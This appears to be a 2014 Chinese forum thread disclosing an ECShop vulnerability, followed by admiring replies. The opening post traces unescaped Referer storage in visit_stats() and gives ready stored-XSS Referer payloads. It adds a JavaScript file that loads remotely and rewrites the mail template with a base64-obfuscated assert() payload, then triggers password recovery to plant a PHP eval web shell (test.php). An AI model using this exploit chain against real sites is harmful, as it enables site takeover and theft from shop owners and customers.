C4r1st 发表于 2014-12-8 10:01:14

ecshop过滤不严导致上万网店可被getshell(需一定条件)

1.includes/lib_main.php过滤不严导致XSS

看代码
function visit_stats()
{
    if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off')
    {
      return;
    }
    $time = gmtime();
    /* 检查客户端是否存在访问统计的cookie */
    $visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1;
    setcookie('ECS', $visit_times, $time + 86400 * 365, '/');

    $browser= get_user_browser();
    $os       = get_os();
    $ip       = real_ip();
    $area   = ecs_geoip($ip);

    /* 语言 */
    if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']))
    {
      $pos= strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';');
      $lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    }
    else
    {
      $lang = '';
    }

    /* 来源 */
    if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9)
    {
      $pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);//
      if ($pos !== false)
      {
            $domain = substr($_SERVER['HTTP_REFERER'], 0, $pos);
            $path   = substr($_SERVER['HTTP_REFERER'], $pos);

            /* 来源关键字 */
            if (!empty($domain) && !empty($path))
            {
                save_searchengine_keyword($domain, $path);
            }
      }
      else
      {
            $domain = $path = '';
      }
    }
    else
    {
      $domain = $path = '';
    }

    $sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' .
                'ip_address, visit_times, browser, system, language, area, ' .
                'referer_domain, referer_path, access_url, access_time' .
            ') VALUES (' .
                "'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ".
                "'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')";
    $GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签
}

取出时也没有过滤,于是产生漏洞

我们来构造一下REFERER

访问首页,构造Referer值为'></graph>"><IMG SRC='' onerror=javascript:alert('XSS')>/

提交,如图,

管理员查看流量分析时触发,如图


2.打cookie多没意思,咱们getshell吧

构造Referer值为--></script>/

提交

再次构造Referer值为'></graph>"><script src="http:\\\\127.0.0.1\\demo.js"><!--/

提交(src后面的js地址必须用反斜杠)

demo.js内容为
Ajax.call('mail_template.php?is_ajax=1&amp;act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&amp;mail_type=0&amp;tpl=1&amp;content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/
Ajax.call('../user.php?act=get_password','act=send_pwd_email&amp;user_name=vip&amp;email=vip@ecshop.com', a , "POST", "JSON");/*前台取回密码.这里的vip和vip@ecshop.com为前台会员帐号和邮箱,我懒得注册了就用这个测试*/
function a(){
alert('');
}
触发后,会在网店根目录生成一个test.php的文件,内容为<?php @eval($_POST['a']);?>

这里利用的是写php代码到取回密码邮件模板,执行取回密码操作时执行写入的代码

漏洞在includes\cls_template.php的fetch_str()函数
{
      if (!defined('ECS_ADMIN'))
      {
            $source = $this-&gt;smarty_prefilter_preCompile($source);
      }
      $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);//过滤了部分php关键词

      if(preg_match_all('~(&lt;\?(?:\w+|=)?|\?&gt;|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
      {
            $sp_match = array_unique($sp_match);
            for ($curr_sp = 0, $for_max2 = count($sp_match); $curr_sp &lt; $for_max2; $curr_sp++)
            {
                $source = str_replace($sp_match[$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match); $curr_sp &lt; $for_max2; $curr_sp++)
            {
               $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '&lt;?php echo \''.str_replace("'", "\'", $sp_match[$curr_sp]).'\'; ?&gt;'."\n", $source);
            }
         }

         return preg_replace("/{([^\}\{\n]*)}/e", "\$this-&gt;select('\\1');", $source);
    }
我们可以构造代码到取回邮件模板:
{$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}&lt;?

执行取回操作即可绕过过滤执行我们构造的代码

csadsl 发表于 2014-12-8 12:41:37

又是一个好帖啊:D

super 发表于 2014-12-8 12:50:26

原谅小学生看不懂

蟹老板 发表于 2014-12-8 16:48:21

好像很强大的样子。:D

幽暗 发表于 2014-12-8 20:09:27

好流弊。。。。

rabit2013 发表于 2014-12-10 09:27:33

乐生乐道 发表于 2014-12-10 13:23:54

果然是技术流啊,成为核心就是这么给力!

神风 发表于 2014-12-10 22:16:13

JJ 威武 霸气啊。
页: [1]
查看完整版本: ecshop过滤不严导致上万网店可被getshell(需一定条件)